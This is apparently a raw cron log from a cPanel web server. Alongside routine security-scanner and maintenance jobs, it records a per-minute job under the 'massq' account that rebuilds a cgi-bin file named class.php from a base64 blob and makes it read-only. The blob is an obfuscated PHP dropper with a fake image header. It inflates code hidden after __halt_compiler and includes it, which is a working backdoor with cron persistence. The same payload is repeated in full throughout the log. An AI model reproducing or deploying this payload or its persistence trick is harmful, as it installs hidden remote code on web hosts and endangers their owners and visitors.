Aug 31 18:50:01 server CROND[16870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:50:01 server CROND[16871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:50:01 server CROND[16869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:50:01 server CROND[16872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:51:01 server CROND[17712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:51:01 server CROND[17713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:51:01 server CROND[17714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:52:01 server CROND[18174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:52:01 server CROND[18175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:52:01 server CROND[18176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:53:01 server CROND[18551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:53:01 server CROND[18552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:53:01 server CROND[18558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:54:01 server CROND[18925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:54:01 server CROND[18927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:54:01 server CROND[18926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:55:01 server CROND[19302]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:55:01 server CROND[19304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:55:01 server CROND[19305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:55:01 server CROND[19308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:55:01 server CROND[19306]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:55:01 server CROND[19309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:55:01 server CROND[19307]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:56:01 server CROND[20122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:56:01 server CROND[20123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:56:01 server CROND[20124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:57:01 server CROND[20701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:57:01 server CROND[20702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:57:01 server CROND[20704]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 18:57:01 server CROND[20703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:58:01 server CROND[21136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:58:01 server CROND[21137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:58:01 server CROND[21138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:59:01 server CROND[21515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:59:01 server CROND[21516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:59:01 server CROND[21517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:00:01 server CROND[21914]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:00:01 server CROND[21916]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:00:01 server CROND[21917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:00:01 server CROND[21922]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:00:01 server CROND[21925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:00:01 server CROND[21927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:00:01 server CROND[21929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:00:01 server CROND[21923]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 19:00:01 server CROND[21926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:01:01 server CROND[22949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:01:01 server CROND[22950]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 19:01:01 server CROND[22951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:01:01 server CROND[22954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:01:01 server run-parts(/etc/cron.hourly)[22950]: starting 0anacron
Aug 31 19:01:01 server run-parts(/etc/cron.hourly)[22971]: finished 0anacron
